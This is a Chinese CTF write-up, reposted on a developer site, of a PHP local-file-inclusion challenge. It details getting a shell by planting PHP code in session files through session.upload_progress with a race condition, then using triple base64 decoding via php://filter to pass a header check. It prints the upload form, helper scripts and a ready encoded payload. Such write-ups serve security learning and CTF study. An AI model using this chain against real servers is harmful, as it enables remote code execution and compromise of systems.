内容简介:题目相当简单,就一句话可以看到需要一个文件以环境以及配置都是默认的
题目相当简单,就一句话
($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);
可以看到需要一个文件以 @<?php
开头的文件,然后就可以进行文件包含。
环境以及配置都是默认的 Ubuntu18.04+Apache2+PHP7.2
不考虑0day的情况下。这里文件名是可以完全控制的,就需要想到各种协议流以及 php 的伪协议。
这样,或许可以利用伪协议的方式来控制文件头。然后就是寻找我们可以控制的文件。
php里默认可以由用户控制的文件就只有几个
- 临时上传文件
- session文件
临时上传文件由 /tmp/php[a-zA-z0-9]{6}
形式组成,在有phpinfo页面的时候可以进行文件包含
https://www.kingkk.com/2018/07/phpinfo-with-LFI/
这里显然没有这个phpinfo页面,暴力破解的可能性约等于零。
然后就是session文件,这里没有开启session,也没有可以控制的session字段。
所以session文件也是无法控制的(对不起,是我不可以,但是orange可以
session.upload
之前N1ctf的时候出现过的一个非预期解
https://xz.aliyun.com/t/2148#toc-2
在phpinfo中有几个配置
这个配置是在默认情况下开启的。
他的出现本是为了显示文件在上传时候的进度,以显示文件上传的信息。
这个信息是保存在用户的 $_SESSION
中的,而session则是以文件的形式保存在默认的路径下的。
可以看到默认的文件路径是 /var/lib/php/sessions
这里有个小trick就是,这个session文件并不一定要 session_start
才能生成,只要往服务器发送一个 Cookie: PHPSESSID=xxx
的值,然后用session upload的方式进行上传文件,就会生成这样一个session文件
由于文件上传的速度比较快,有时候经常来不及看到保存在session文件中的upload信息,就会被删除。我们可以上传一个相对比较大的文件,并且条件竞争的方式,来先看一下保存在session中的文件内容。
这里构造了一个这样的表单,upload.php
<form action="upload.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" /> <input type="file" name="file1" /> <input type="file" name="file2" /> <input type="submit" /> </form> <?php session_start(); $name = ini_get('session.upload_progress.name'); $key = ini_get('session.upload_progress.prefix') . $_POST[$name]; var_dump($_SESSION[$key]); include '/var/lib/php/sessions/sess_kingkk';
加上任意的 PHPSESSID
,上传两个相对稍大的文件,这里http报文长度有61W
然后开个多线程跑几次,就能看到有些通过条件竞争,输出了还未被删除的 session
信息
$_SERVER[ini_get('session.upload_progress.prefix') . $_POST[ini_get('session.upload_progress.name')]]
中保存了一些上传过程中的信息
以及session文件中的内容,可以看到就是反序列化的upload信息
对应目录下也确实生成了这个session文件,但是内容却是空的,因为文件上传完成后,会默认清除其中的内容。
可以看到 sess_kingkk
中有不少值是可以通过改变传入的参数进行控制的,比如文件名、 PHP_SESSION_UPLOAD_PROGRESS
的值。从而只要插入对应的php代码,在存在文件包含的时候,就可以getshell
这里修改了文件名为php代码,再利用一个文件包含的页面包含这个session文件
可以看到成功getshell
重新认识base64
接下来还有一个条件就是
substr(file($_)[0],0,6) === '@<?php'
但是观察之前的session信息,可以发现,文件是以 upload_progress_
开始,最多控制其后的 123
部分
这时候能想到的就是利用php中的一些伪协议,进行文件内容的修改。这个思路p神的blog中也有写到过
https://www.leavesongs.com/PENETRATION/php-filter-magic.html#_1
就是利用 php://filter/write=convert.base64-decode/resource
的方式绕过死亡exit.
这里需要一些base64的前置知识
base64编码后的字符串集为[0-9a-zA-Z+/=]
因而在解码的时候遇到这个之外的字符,就会跳过那些字符。只对在此范围内的字符进行解码。
所以只要对前面的 upload_progress_
进行足够多次的解密,就可以使其变成空字符
$i = 0 ; $data = "upload_progress_"; while(true){ $i += 1; $data = base64_decode($data); var_dump($data); if($data == ''){ echo "一共解码了:".$i,"次\n"; break; } }
通过脚本可以看到,只要三次就可以将前面的内容转换为成空。
可是事情似乎没有那么简单。由于base64是对四个字符为一组进行解码。 upload_progress_
并不满足三次解码后允许字符是4的倍数,就会把后面的字符算入填充,从而破坏原有传入的php代码
例如
function triple_base64_encode($str){ return base64_encode(base64_encode(base64_encode($str))); } function triple_base64_decode($str){ return base64_decode(base64_decode(base64_decode($str))); } $i = 0 ; $data = "upload_progress_".triple_base64_encode("<?=\`id\`;>"); echo triple_base64_decode($data);
解码之后的数据是 ?
然而解密 "upload_progress_ZZ".triple_base64_encode("<?=\
id`;>”) 解码之后就是
<?=`id`;>`
就是由于 upload_progress_ZZ
在三次的解码中,第一次解码后留下了四个允许字符 hikY
,第二次解码没有允许字符,第三次就变成了空。
在这三次中,都是允许字符的数量都是4的倍数,这样就不会破坏后面传入的php代码。
队友写的一个脚本
<?php $str = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"; while(true) { $i = 0 ; $data = "upload_progress_".substr(str_shuffle($str),10,2); $s = base64_decode($data); $s_length = strlen(preg_replace('|[^a-z0-9A-Z+/]|s', '', $s)); $ss = base64_decode($s); $ss_length = strlen(preg_replace('|[^a-z0-9A-Z+/]|s', '', $ss)); $sss = base64_decode($ss); if($s_length%4==0 && $ss_length%4==0 && $sss=='') { echo $data; break; } }
对于后面的php代码,也有一个要求,就是三次解密中都不能出现 =
,因为base64中 =
只能放在编码的最后补位,出现在中间的话, php://filter/convert.base64-decode
流就无法正常解析,就会报错。
对此oragne师傅写了个脚本生成这玩意
import string from base64 import b64encode from random import sample, randint payload = '@<?php echo `id`;?>' while 1: junk = ''.join(sample(string.ascii_letters, randint(8, 16))) x = b64encode(payload + junk) xx = b64encode(b64encode(payload + junk)) xxx = b64encode(b64encode(b64encode(payload + junk))) if '=' not in x and '=' not in xx and '=' not in xxx: print xxx break
VVVSM0wyTkhhSGRKUjFacVlVYzRaMWxIYkd0WlJITXZVRzVvZFdFeFZuUlZSVTVw
成功getshell
最后
学到的东西相当多了。膜orange
顺带说一句,貌似php中的 base64_decode
类似于网上的一些在线脚本之类的解密,会对数据进行一些优化,直观的感受就是,用解密一些省略了 =
的字符也可以顺利解密,然而用hackbar之类的 工具 就会直接返回空。
php伪协议中的 php://filter/convert.base64-decode
类似于hackbar这种,对数据校验较为严格,所以有时候用php的 base_64decode
之后发现是可见字符,可实际包含的时候却会报错。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
小米生态链战地笔记
小米生态链谷仓学院 / 中信出版集团 / 2017-5 / 56.00
2013年下半年,小米开始做一件事,就是打造一个生态链布局IoT(物联网);2016年年底,小米生态链上已经拥有了77家企业,生态链企业整体销售额突破100亿元。这3年,是小米生态链快速奔跑的3年,也是小米在商场中不断厮杀着成长的3年。 3年,77家生态链企业,16家年销售额破亿,4家独角兽公司,边实战,边积累经验。 小米生态链是一个基于企业生态的智能硬件孵化器。过去的3年中,在毫无先......一起来看看 《小米生态链战地笔记》 这本书的介绍吧!